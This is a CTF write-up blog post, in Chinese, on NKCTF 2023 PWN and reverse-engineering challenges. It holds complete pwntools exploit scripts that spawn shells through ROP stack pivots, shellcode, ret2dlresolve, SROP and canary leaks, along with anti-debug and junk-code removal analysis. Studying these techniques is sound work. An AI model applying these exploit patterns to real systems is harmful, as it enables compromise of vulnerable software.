nkctf2023-wp


[TOC]

PWN

a_story_of_a_pwner

  • 前三个函数依次往bss段上写入8个字节,且写入的地址是连续的
  • heart函数存在漏洞可以直接输出puts函数的地址,且存在栈溢出,但是只能溢出到ret_addr

栈迁移+ROP:

  • 利用heart函数泄漏出puts函数地址,从而泄漏libc
  • 利用前三个函数向bss段上布置好ROP链:pop_rdi_ret;binsh;system.
  • 最后再利用heart函数栈迁移到bss

exp:

from pwn import *
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def cmd(index):
    io.sendlineafter(b'> \n', str(index).encode())

def acm(data):
    cmd(1)
    io.sendafter(b"what's your comment?\n", data)

def ctf(data):
    cmd(2)
    io.sendafter(b"what's your corment?\n", data)

def love(data):
    cmd(3)
    io.sendafter(b"what's your corMenT?\n", data)

def heart(data=b'deadbeef', flag=False):
    cmd(4)
    if flag:
        io.sendafter(b"now, come and read my heart...\n", data)

heart()
io.recvuntil(b' see this. ')
puts_addr = int(io.recvuntil(b'\n', drop=True), 16)

print("puts_addr:", hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

pop_rdi_ret = 0x401573
leave_ret = 0x040139e
ctf(p64(pop_rdi_ret))
acm(p64(binsh))
love(p64(system))

bss = 0x4050A0
payload = b'A'*0xA + p64(bss-8) + p64(leave_ret)

heart(payload, True)
io.interactive()

ezshellocde

  • 漏洞见图

1、cdll模拟

2、nop滑块

exp:

from pwn import *
from ctypes import *

context.binary = "./pwn"

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
v6 = dll.rand() % 100 + 1

shellcode = asm(shellcraft.sh())

#cdll模拟
#payload = b'A'*v6 + shellcode

#nop滑块
payload = b'\x90'*100 + shellcode
print(len(shellcode))
io.sendafter(b'min!\n', payload)

io.interactive()

9961code

  • shellcode长度限制小于0x16

可以看到最后的JUMPOUT逻辑,r15的值就是0x9961000

exp1:

  • shellocde长度小于0x16
from pwn import *
context.binary = './pwn'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

#长度为15个字节
shellcode = '''
    mov edi, 0x996100F
    xor esi, esi
    xor edx, edx
    mov al, 59
    xor ah, ah
    syscall
'''
"""
#长度只有14个字节
shellcode = '''
    lea edi, [r15+0xe]
    xor esi, esi
    xor edx, edx
    mov ax, 59
    syscall

'''
"""
print(len(asm(shellcode)))
#shellcode 长度为15个字节 而'/bin/sh' 7个字节,刚刚好0x16=22个字节,第二个shellcode只有14个字节
#shllcode 15个字节,所以'/bin/sh'相对于0x9961000偏移为15
#所以'/bin/sh'的地址为0x996100F
#所以shellcode中 edi为0x996100F
#第二个edi = r15 + 0xE是因为第二个shellocde只有14=0xE个字节
payload = asm(shellcode) + b'/bin/sh'

io.sendafter(b'shellcode!\n\n', payload)
io.interactive()

exp2:

  • 调用一次mprotect函数将0x9961000的权限改回rwx,然后在写入shellcode
from pwn import *

context.binary = './pwn'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

#长度刚刚好22捏
shellcode1 = '''
    mov rdi, r15  /*由上面分析可知,r15里面的值就是0x9961000;这里也可以用shl edi,12;这里因为由上图可知rdi的值为0x9961*/
    xor eax, eax 
    cdq   /*cdp指令会把edx的所以位全部赋值为eax的最高位*/
    mov al, 10 /*mprotect的系统调用号*/
    mov dl, 7 /*rwx = 7,权限为rwx*/
    syscall /*调用mprotect函数,将0x9961000处的权限重新赋为rwx,由上图可知rsi的值为0x9961,所以这里不再对rsi赋值*/
    xor eax, eax /*rax=0,read函数的系统调研号*/
    mov esi, edi /*rdi=r15,这里我们直接从0x9961000开始写*/
    mov edi, eax /*标准输入*/
    mov dl, 0x50 /*输入大小0x50*/
    syscall
'''

#execv(binsh, 0, 0)
shellcode2 = '''
    mov rsp, rsi /* rsp =rsi = r15 = 0x996100, 把栈移动到我能可写的地方*/
    add rsp, 0x100 /*把栈往下移一下,以免我们写入的/bin/sh\x00字符串将代码覆盖了*/
    xor rsi, rsi /*rsi = 0*/
    xor edx, edx /*rdx = 0*/
    push 0
    mov rbx, 0x68732f2f6e69622f 
    push rbx	/*写入/bin/sh\x00*/
    mov rdi, rsp /*rdi = rsp = binsh*/
    mov al, 59	/*execv系统调用号*/
    xor ah, ah /高8位清0*/
    syscall
'''

print(len(asm(shellcode1)))
print(len(asm(shellcode2)))

io.sendafter(b'shellcode!\n\n', asm(shellcode1))
#因为之前的shellcode长度为0x16个字节,所以程序执行流在0x9961000 + 0x16处
#所以我们需要先填充0x16个字节,这里填什么都无所谓,'\x90'对应的指令是nop
payload = b'\x90'*0x16 + asm(shellcode2)
io.send(payload)

io.interactive()

官方解答:

  • 利用xmm6中存放的是libc中的地址,进而泄露出libc地址,然而进行ROP

没搞懂,官方解也没打通,以后在补吧>_>

only_read

这题只有一个read函数(溢出字长很大,本来我还想打ret2csu的,但是没办法泄漏libc>_<)

看了下笔记,标准的ret2dlresolve,模板题就加了个base64>_<。

64位ret2dlresolve

from pwn import *

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

s1 = b"V2VsY29tZSB0byBOS0NURiE="
s2 = b"dGVsbCB5b3UgYSBzZWNyZXQ6"
s3 = b"SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45"
s4 = b"Y2FuIHlvdSBmaW5kIG1lPw=="

io.send(s1)
sleep(0.01)
io.send(s2)
sleep(0.01)
io.send(s3)
sleep(0.01)
io.send(s4)
sleep(0.01)

def csu():
    payload  = b'A'*0x38 + p64(0x40167A)
    payload += p64(0) + p64(1)
    payload += p64(rdi) + p64(rsi) + p64(rdx) + p64(func)
    payload += p64(0x401660)
    payload += p64(0)*7
    payload += p64(ret_addr)
    return payload

bss = elf.bss()
vuln = elf.symbols['next']
read_plt = elf.plt['read']
read_got = elf.got['read']
pop_rdi = 0x0000000000401683 #: pop rdi ; ret
pop_rsi = 0x0000000000401681 #: pop rsi ; pop r15 ; ret

l_addr = libc.symbols['system'] - libc.symbols['read']
r_offset = bss + l_addr * -1
if l_addr < 0:
    l_addr += 0x10000000000000000

plt0 = 0x401026
dynstr = 0x4004D8

fake_link_map_addr = bss + 0x100
fake_dyn_strtab_addr = fake_link_map_addr + 0x8
fake_dyn_strtab = p64(0) + p64(dynstr)

fake_dyn_symtab_addr = fake_link_map_addr + 0x18
fake_dyn_symtab = p64(0) + p64(read_got - 0x8)

fake_dyn_rel_addr = fake_link_map_addr + 0x28
fake_dyn_rel = p64(0) + p64(fake_link_map_addr + 0x38)
fake_rel = p64(r_offset)  + p64(0x7) + p64(0)

fake_link_map  = p64(l_addr)
fake_link_map += fake_dyn_strtab
fake_link_map += fake_dyn_symtab
fake_link_map += fake_dyn_rel
fake_link_map += fake_rel
fake_link_map  = fake_link_map.ljust(0x68, b'\x00')
fake_link_map += p64(fake_dyn_strtab_addr)
fake_link_map += p64(fake_dyn_symtab_addr)
fake_link_map += b'/bin/sh'.ljust(0x80, b'\x00')
fake_link_map += p64(fake_dyn_rel_addr)

payload  = b'A'*0x38 + p64(pop_rsi) + p64(bss+0x100) + p64(0)
payload += p64(pop_rdi) + p64(0) + p64(read_plt) + p64(vuln)

io.send(payload)
sleep(0.01)

io.send(fake_link_map)
sleep(0.01)

rop  = b'A'*0x38 + p64(pop_rdi) + p64(fake_link_map_addr+0x78)
rop += p64(plt0) + p64(fake_link_map_addr) + p64(0)

io.send(rop)

io.interactive()

这里看了下KingKi1L3r大佬的做法,只能说秒,太妙了>_<

但是很可惜我没有打通,并且本地调试出来也跟他不一样,可以环境不一样吧)(

利用__do_global_dtors_aux这个函数将read的got表改成了onegadget(libc->2.31,9.9)

在这里它会把ebx+[rbp-0x3d]的值给rbp-0x3d我们将ebx设置为onegadget-read,rbp设置为read+0x3d,这样执行完就把read的got表改为onegadget,然后执行read即可。

from pwn import *
r=process('./pwn')
#r=remote('node2.yuzhian.com.cn',30427)
elf=ELF('./pwn')
 
pop6=0x40167a
change_read=0x40117c
read_got=elf.got['read']
offset=0xFFFFFFFFFFFD5B3E
r.send('V2VsY29tZSB0byBOS0NURiE=')
r.send('dGVsbCB5b3UgYSBzZWNyZXQ6')
r.send('SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45')
r.send('Y2FuIHlvdSBmaW5kIG1lPw==')
payload=b"a"*48+p64(read_got+0x3d)+p64(pop6)+p64(offset)+p64(read_got+0x3d)
payload+=p64(0)*4+p64(change_read)+p64(0x040146E)
gdb.attach(r)
r.sendline(payload)
r.interactive()

bytedance(待复现)

ez_stack

  • srop板子题,没啥好说的
from pwn import *

context.binary = "./pwn"
context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

binsh = 0x404040
sig_ret = 0x401146
syscall_ret = 0x4011EE

write_binsh = b'A'*0x10 + b'deadbeef' + p64(0x4011C8)

io.sendafter(b'NKCTF!\n', write_binsh)
io.send(b'/bin/sh\x00')

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

payload = b'A'*0x10 + b'deadbeef' + p64(sig_ret) + p64(syscall_ret) + bytes(frame)
io.send(payload)

io.interactive()

baby_rop

  • 格式化字符串泄漏canary
  • my_read存在off by null漏洞,可以覆盖rbp低字节为0
  • call vuln后有一个leave,而vuln自己也有leave;ret;所以这里两次leave 存在栈迁移;但这里栈迁移是随机的,它会迁移到更低的栈地址,所以看运气了;我们在payload前面布置ret,让它往下滑

先泄漏libc

然后rop就行,

from pwn import *

context.binary = "./pwn"
#context.log_level = 'debug'

elf = ELF("./pwn")
libc = elf.libc

pop_rdi = 0x0000000000401413
ret = 0x000000000040101a
main = elf.symbols['main']
vuln = elf.symbols['vuln']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

def exp():
    io = process("./pwn")
    #泄漏canary
    payload = b"%41$p"
    io.sendlineafter(b'name: ', payload)
    io.recvuntil(b'Hello, ')
    canary = int(io.recvuntil(b'What', drop=True), 16)
    print('canary:', hex(canary))
    #泄漏libc
    leak = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
    payload = p64(ret)*27 + leak + p64(canary)
    print(len(payload))
    io.sendafter(b'NKCTF: \n', payload)
    io.recvuntil(b'carefully.\n')
    puts_addr = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00'))
    print('pust_addr:', hex(puts_addr))
    
    libc_base = puts_addr - libc.symbols['puts']
    system = libc_base + libc.symbols['system']
    binsh = libc_base + next(libc.search(b'/bin/sh'))
    #泄漏canary
    payload = b'%41$p'
    io.sendlineafter(b'name: ', payload)
    io.recvuntil(b'Hello, ')
    canary = int(io.recvuntil(b'What', drop=True), 16)
    print('canary:', hex(canary))
    #get shell
    shell = p64(pop_rdi) + p64(binsh) + p64(system)
    payload = p64(ret)*28 + shell + p64(canary)
    
    print(len(payload))
    io.sendafter(b'NKCTF: \n', payload)
    io.interactive()
    
if __name__ == "__main__":
    while True:
        try:
            exp()
        except Exception as e:
            continue

baby_heap(待复现)

note(待复现)

RE

ez_baby_apk(待复现)

PMKF

  • 迷宫题,没啥好说的;只是它把一个字节的每两位当做一步,并且异或的时候只是取的低字节

要多注意变量的类型,是一个字节还是两个字节等待>_<

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include "crypt.h"
#include<Windows.h>

char map[11 * 18] = { '*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*',
					  'N','.','.','.','*','*','*','*','*','.','.','.','*','.','.','.','.','*',
					  '*','*','.','*','*','*','*','*','.','.','*','.','.','.','*','*','.','*',
					  '.','.','.','*','*','*','*','*','.','*','*','*','*','*','.','*','.','*',
					  '.','*','*','.','.','.','.','*','.','.','*','.','.','.','*','.','.','*',
					  '.','.','.','.','*','*','.','*','.','*','.','.','*','.','.','.','*','*',
					  '*','.','*','*','.','.','.','*','.','*','.','*','*','*','*','*','*','*',
					  '.','.','*','*','*','*','*','.','.','*','.','.','.','.','.','.','*','*',
					  '.','*','.','.','.','.','.','.','*','*','.','*','*','*','*','.','*','*',
					  '.','.','.','*','*','*','*','*','.','.','.','*','K','.','.','.','*','*',
					  '*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*','*' };

int dir[4] = { -18,1,18,-1 };
int path[11 * 18] = { -1 };
bool visited[11 * 18] = { false };
int ans[16] = { 0 };

bool check(int l) {
	if (l < 0 || l >= 11 * 18 || map[l] == '*')
		return false;
	else
		return true;
}

void dfs(int l, int path[], int len) {
	
	if (map[l] == 'K') {
		for (int i = 0; i < len;) {
			int tmp = (path[i] << 6) | (path[i + 1] << 4) | (path[i + 2] << 2) | (path[i + 3]);
			ans[i / 4] = tmp;
			printf("%x ", tmp);
			i += 4;
		}
		return;
	}

	for (int i = 0; i < 4; i++) {
		int tmp = l + dir[i];
		if (check(tmp) && !visited[tmp]) {
			visited[tmp] = true;
			path[len] = i;
			dfs(tmp, path, len+1);
			visited[tmp] = false;
		}
	}

}


const char* head = "5nkman";
int sum = 0;
int main(int argc, char *argv[]) {
	
	dfs(18, path, 0);
	for (int i = 1; i < 6; i++) {
		sum += head[i];
	}
	printf("\n%d", sum);
	printf("\n%d", (char)sum);
	printf("\nnkctf{05");
	for (int i = 1; i < 5; i++) {
		printf("%x", head[i]);
	}
	for (int i = 0; i < 16; i++) {
		ans[i] ^= (char)sum;
		printf("%x", ans[i]);
	}
	printf("}");
	/*nkctf{056e6b6d614fef7eb0044154700bea9eeb043aa}*/
	return 0;
}

earlier

  • 静态反调试,花指令,SMC

这题主要考查静态反调试,静态反调试是比较容易过掉的。

程序使用 TLS 来进行反调试,设置了两个 tls 回调函数:

  • 在回调函数 TlsCallback0 中使用 IsDebuggerPresent 函数进行反调试

  • 在回调函数 TlsCallback1 中使用 NtSetInformationThread 和 NtQueryInformationProcess 函数进行反调试

TLS回调函数只会在程序最开始执行一次,属于静态调试技术,所以我们直接 Patch 掉就OK了

  • 程序中使用了花指令,我们使用脚本去除

程序实现了一个类似SMC的功能,程序会先运行一段解密函数对相关指令进行解密,然后执行指令,最后在返回前在对指令进行加密。(这里直接说对指令进行加解密,是因为在计算机中指令和数据都是一堆01而以,没有本质区别;主要看CPU把它们当做神马)

程序分析

反调试部分

可以看到第一个TLS回调函数反汇编失败,多半有花指令;查看汇编代码

通过汇编代码,我们可以看出确实存在花指令,并且可以在多处找到该类型的花指令,所以我们直接用脚本去除

去花脚本:

import idc
import idautils
def Nop(curaddr, endaddr):
    while curaddr < endaddr:
        patch_byte(curaddr, 0x90)
        curaddr += 1
pattern = "33 C0 85 C0 74 03 75 00 E8"
cur_addr = 0x401000
end_addr = 0x405000

while cur_addr < end_addr:
    cur_addr = idc.find_binary(cur_addr, SEARCH_DOWN, pattern)
    print("patch address:" + str(cur_addr))
    if cur_addr == idc.BADADDR:
        break
    else:
        my_nop(cur_addr, cur_addr + 9)
    cur_addr = idc.next_head(cur_addr)

去除花指令后,我们可以看到反调试逻辑:IsDebuggerPresent 函数进行反调试,直接 Patch 掉

第二个TLS回调函数同理

main函数

我们进入 main 函数:万蓝千红一顿愁,三个函数依次看看

sub_40107D函数

进入sub_40107D函数,然后我们会跟到 loc_91CB0 位置;我们可以看到在调用 sub_911C2 函数之前的汇编代码都很正常,但是后面的汇编代码是什么鬼东西???所以这里我们跟进 sub_911C2 看看

sub_911C2函数

我们跟进sub_911C2函数,最后会跟到 sub_91EB0 函数;在 sub_91EB0 中调用了 runToHere.dll 中的两个函数。所以我们看下 dll 中这两个函数的作用。

fnGetHere 和 fnrunToHere 函数的功能如下:那么其实 sub_91EB0的作用就很明显了,其实就是对某段地址指令进行异或运算,其实就是实现SMC的效果

动态调试

其实 main 函数中的三个函数都调用了sub_911C2函数

这里加解密算法都很简单,你可以把加密的指令 dump 出来,然后自己解密;这里直接动态调试来看下 main 中的三个函数:sub_40107D、sub_401203、sub_401258的功能

sub_40107D:这个函数会提示并获取我们输入,并检查输入的字符串长度是否为42,不是则直接退出程序,可以自己调一下。

我们重点看**sub_401203 **这个函数:我们把断点下在该函数处:输入123456712345671234567123456712345671234567

经过sub_911C2函数对指令解密后,我们对后面的指令重新编译,可以看到其逻辑非常清晰

这里我的IDA没有办法搞出伪代码,所以我手写了一下这段代码大致的意思(汇编水平有限,但说实话仔细分析其实也很简单):

其实就是对我们输入的数据进行rc4加解密,然后放入data中;其中key就是’secret’

#include <stdio.h>
#include <stdlib.h>

void loc_91A67(){
    char *s = "secret";
    char *input = "123456712345671234567123456712345671234567";
	char buf[0x100];
	memset(buf, 0, 0x100);
    int len1 = strlen(s);
    int len2 = strlen(input);
    for(int i=0; i<len2; i++){
        buf[i] = input[i];
    }
    char *data[42]; //保存input加密后的数据
    rc4(s,len1,input,len2,data);
}

sub_401258:这个函数其实就是在对加解密后的data进行判断

同样我的IDA无法搞出伪代码,所以自己写了一下这段代码大致意思

#include <stdio.h>
#include <stdlib.h>

int sub_401258(){
   char c[42] = {0x83, 0x5D, 0xB1, 0x68, 0xE4, 0xDF, 0xAF, 0x96, 0x47, 0x94,
  				 0xDA, 0xAE, 0x96, 0xB9, 0x86, 0x58, 0xF2, 0x54, 0x1E, 0x87,
  				 0xF5, 0x96, 0xB6, 0x03, 0x16, 0x4C, 0x06, 0xB8, 0xBE, 0x0F,
  				 0x37, 0x6A, 0xD8, 0xA6, 0x7A, 0xED, 0xA5, 0x73, 0x4A, 0xBE,
  		         0x6B, 0xAC, 0x00};
    int len = strlen(c);
    char *fail = "something must be wrong!";
    char *sucess = "you got it!";
    //data为上面加解密后的字符串
    int res = memcmp(data, c, len);
    if(res == 0){
        puts(sucess);
    } else {
        puts(fail);
    }   
}

所以其实很简单,就是一个rc4加密算法,所以对c进行rc4解密就行啦:flag:nkctf{y0u_are_so_clever_f0r_debug_enc0de!}

这道题挺好的,因为后面我的IDA不能搞出伪代码,也是硬着头皮分析汇编;仔细分析每一次跳转,每个判断,最后发现其实也不是很难


文章作者: XiaozaYa
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 XiaozaYa !
  目录